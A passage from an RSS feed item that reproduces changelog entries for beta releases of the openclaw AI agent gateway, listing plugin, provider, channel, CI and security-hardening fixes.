<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>)</li>
<li>Providers: add MiniMax M3 model support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>Doctor: add disk space health checks and stabilize post-upgrade JSON probes.</li>
<li>Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.</li>
<li>Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.</li>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555235950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88405/hovercard" href="https://github.com/openclaw/openclaw/issues/88405">#88405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558386594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88724/hovercard" href="https://github.com/openclaw/openclaw/pull/88724">#88724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558459446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88730" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88730/hovercard" href="https://github.com/openclaw/openclaw/pull/88730">#88730</a>)</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.</li>
<li>Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill <code>apiKey</code> SecretRefs cannot abort embedded or channel turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>CLI: avoid live catalog validation during <code>openclaw agents add</code>, so adding a secondary agent no longer depends on provider catalog availability. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370229397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76284/hovercard" href="https://github.com/openclaw/openclaw/issues/76284">#76284</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558805270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88764/hovercard" href="https://github.com/openclaw/openclaw/pull/88764">#88764</a>)</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.</li>
<li>Plugins: preserve npm plugin roots after blocked installs, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375645088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77237/hovercard" href="https://github.com/openclaw/openclaw/pull/77237">#77237</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559215204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88807/hovercard" href="https://github.com/openclaw/openclaw/pull/88807">#88807</a>)</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.</li>
<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411236357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79658/hovercard" href="https://github.com/openclaw/openclaw/pull/79658">#79658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</li>
<li>Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558509751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88731" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88731/hovercard" href="https://github.com/openclaw/openclaw/pull/88731">#88731</a>)</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>)</li>
<li>Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495421361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84981/hovercard" href="https://github.com/openclaw/openclaw/issues/84981">#84981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495608523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84988" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84988/hovercard" href="https://github.com/openclaw/openclaw/pull/84988">#84988</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LibraHo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LibraHo">@LibraHo</a>.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, honor Chromium executable overrides, and detect system Chromium for E2E.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.31-beta.3]]></title>
<description><![CDATA[2026.5.31
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, S...]]></description>
<link>https://tsecurity.de/de/3561316/downloads/openclaw-2026531-beta3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561316/downloads/openclaw-2026531-beta3/</guid>
<pubDate>Sun, 31 May 2026 21:31:14 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.31</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer <code>agents add</code>, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
